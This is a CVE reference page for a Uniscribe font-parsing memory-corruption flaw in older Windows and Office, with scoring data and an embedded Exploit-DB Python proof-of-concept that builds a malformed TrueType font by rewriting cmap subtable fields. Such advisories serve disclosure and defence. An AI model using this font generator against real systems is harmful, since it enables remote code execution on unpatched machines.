CVE-2010-2738 : Detail

CVE-2010-2738

A03-Injection
47.71%V3
Network
2010-09-15
16h00 +00:00
2018-10-12
17h57 +00:00
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CVE Descriptions

The Uniscribe (aka new Unicode Script Processor) implementation in USP10.DLL in Microsoft Windows XP SP2 and SP3, Server 2003 SP2, Vista SP1 and SP2, and Server 2008 Gold and SP2, and Microsoft Office XP SP3, 2003 SP3, and 2007 SP2, does not properly validate tables associated with malformed OpenType fonts, which allows remote attackers to execute arbitrary code via a crafted (1) web site or (2) Office document, aka "Uniscribe Font Parsing Engine Memory Corruption Vulnerability."

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 15158

Publication date : 2010-09-29 22h00 +00:00
Author : Abysssec
EDB Verified : Yes

''' __ __ ____ _ _ ____ | \/ |/ __ \ /\ | | | | _ \ | \ / | | | | / \ | | | | |_) | | |\/| | | | |/ /\ \| | | | _ < (Final Binary Analysis) | | | | |__| / ____ \ |__| | |_) | |_| |_|\____/_/ \_\____/|____/ ''' ''' Title : Microsoft Unicode Scripts Processor Remote Code Execution Version : usp10.dll XP , Vista Analysis : http://www.abysssec.com Vendor : http://www.microsoft.com Impact : Critical Contact : shahin [at] abysssec.com , info [at] abysssec.com Twitter : @abysssec CVE : CVE-2010-2738 MOAUB Number : MOAUB-FINAL http://www.exploit-db.com/moaub-30-microsoft-unicode-scripts-processor-remote-code-execution-ms10-063/ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15158.zip (moaub-30-PoC.zip) ''' import sys import struct def main(): try: fdR = open('src.ttf', 'rb+') strTotal = fdR.read() str1 = strTotal[:18316] nGroups = '\x00\x00\x00\xDC' # nGroups field from Format 12 subtable of cmap table startCharCode = '\x00\xE5\xF7\x20' # startCharCode field from a Group Structure endCharCode = '\x00\xE5\xF7\xFE' # endCharCode field from a Group Structure str2 = strTotal[18328:] fdW= open('FreeSans.ttf', 'wb+') fdW.write(str1) fdW.write(nGroups) fdW.write(startCharCode) fdW.write(endCharCode) fdW.write(str2) fdW.close() fdR.close() print '[-] Font file generated' except IOError: print '[*] Error : An IO error has occurred' print '[-] Exiting ...' sys.exit(-1) if __name__ == '__main__': main()

Products Mentioned

Configuraton 0

Microsoft>>Windows_server_2003 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_vista >> Version -

Microsoft>>Windows_vista >> Version -

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version -

Configuraton 0

Microsoft>>Office >> Version 2003

Microsoft>>Office >> Version 2007

Microsoft>>Office >> Version xp

References